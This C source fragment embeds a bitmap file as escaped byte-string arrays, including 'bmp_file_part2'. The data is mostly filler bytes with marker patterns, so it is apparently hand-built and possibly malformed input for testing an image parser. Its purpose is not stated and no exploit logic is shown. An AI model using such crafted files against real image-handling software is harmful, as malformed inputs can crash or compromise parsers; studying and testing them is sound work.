"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x00\x00\x00\x01\x01\x0e\x0e\x1f\x01\x01\x01\x01\x0e"
"\x01\x01\x01\x0e\x1f\x1f\x1f\x01\x01\x1f\x1f\x01\x01\x0e\x1f\x1f"
"\x0e\x01\x01\x1f\x15\x15\x1f\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x00\x00\x00\x1f\x15\x15\x15\x15\x15\x01\x01\x01\x0a"
"\x15\x1f\x1f\x0a\x1f\x0e\x05\x01\x01\x0e\x0a\x01\x0e\x0a\x0e\x1f"
"\x0a\x01\x0e\x0a\x05\x05\x0a\x1f\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x00\x00\x00\x05\x0e\x0e\x0e\x0e\x0e\x0e\x01\x01\x15"
"\x0a\x0a\x0a\x05\x01\x0e\x05\x01\x01\x0e\x05\x01\x0a\x0a\x0e\x1f"
"\x05\x1f\x0a\x0e\x01\x01\x1f\x1f\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x00\x00\x00\x05\x0e\x05\x01\x01\x1f\x15\x01\x01\x1f"
"\x0a\x1f\x05\x15\x01\x0e\x0a\x05\x0e\x0e\x05\x05\x05\x05\x0e\x1f"
"\x05\x0e\x0a\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x00\x00\x00\x05\x0e\x05\x0e\x0e\x0e\x0e\x01\x01\x01"
"\x05\x05\x05\x1f\x01\x0e\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x00\x00\x00\x0e\x15\x15\x15\x15\x15\x1f\x01\x01\x01"
"\x0e\x0a\x05\x01\x01\x0e\x0a\x15\x1f\x0e\x0a\x0e\x01\x05\x0e\x1f"
"\x0a\x01\x05\x0a\x15\x15\x0a\x1f\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01";

char bmp_file_part2[] =
"\x48\x01\x01\x01\x47\x01\x01\x01"
"\x46\x01\x01\x01\x45\x01\x01\x01\x44\x01\x01\x01\x43\x01\x01\x01"
"\x42\x01\x01\x01\x41\x01\x01\x01\x43\x01\x01\x01\x43\x01\x01\x01"
"\x43\x01\x01\x01\x43\x01\x01\x01\x48\x01\x01\x01\x47\x01\x01\x01"
"\x46\x01\x01\x01\x45\x01\x01\x01\x44\x01\x01\x01\x43\x01\x01\x01"
"\x42\x01\x01\x01\x41\x01\x01\x01\x30\x01\x01\x01\x31\x01\x01\x01"
"\x32\x01\x01\x01\x33\x01\x01\x01\x34\x01\x01\x01\x35\x01\x01\x01"
"\x36\x01\x01\x01\x37\x01\x01\x01\x38\x01\x01\x01\x39\x01\x01\x01"
"\x5a\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
